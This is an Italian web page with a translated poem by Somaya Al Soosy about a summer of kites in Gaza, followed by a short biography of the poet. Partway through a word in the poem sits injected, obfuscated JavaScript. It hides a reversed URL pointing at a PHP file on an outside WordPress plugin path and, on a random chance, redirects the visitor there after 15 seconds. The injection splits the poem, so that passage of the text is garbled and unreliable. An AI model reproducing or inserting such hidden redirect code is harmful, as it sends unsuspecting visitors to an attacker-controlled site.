Come un muro

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Mi vedo sola, intreccio il silenzio. Un’estate che la memoria non ritrova.
Il sogno si mescola a un mare d’azzurro intenso. Come in sogno l’odore della scrittura
si sp (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande colorato da un’idea in una via della città, a est. Bagna il testo, oltrepassa
le distinzioni per scoprire il colore compagno di quel profumo.
Come faranno i ragazzi a disegnare l’estate di quest’anno?
Questa calura sembra un’altra prova di resistenza contro il terrore.
I bambini rigettano la loro paura coi fili del primo aquilone.
Perché tanta passione per ciò che vola?
Sulla città non vedi più il cielo tra le code lunghissime di carta.
Uno spazio che ognuno occupa per sé. I video games si liquefanno
nelle stanze anguste. L’ampiezza delle strade abbraccia un sogno che si leva
al di là della sconfitta. Esultano: vola!
Vola vola, aquilone! Aereo di carta e fili.
(..) (trad. Lucy Ladikoff e Hakam Malky)

Somaya Al Soosy è nata a Gaza nel 1974. Laureata in Scienze dell’Educazione dall’Università Al-Azhar, lavora come ricercatrice presso il Dipartimento Sociale del Centro Palestinese per la Pianificazione di Gaza. È sposata con due figlie. Ha pubblicato due volumi di poesia e sta per uscire la sua terza raccolta. Suoi testi sono apparsi su numerosi quotidiani e periodici arabi ed è presente nell’antologia Poetesse Palestinesi. Ha partecipato a diversi festival della poesia a Gaza, nella West Bank ed in Iraq.

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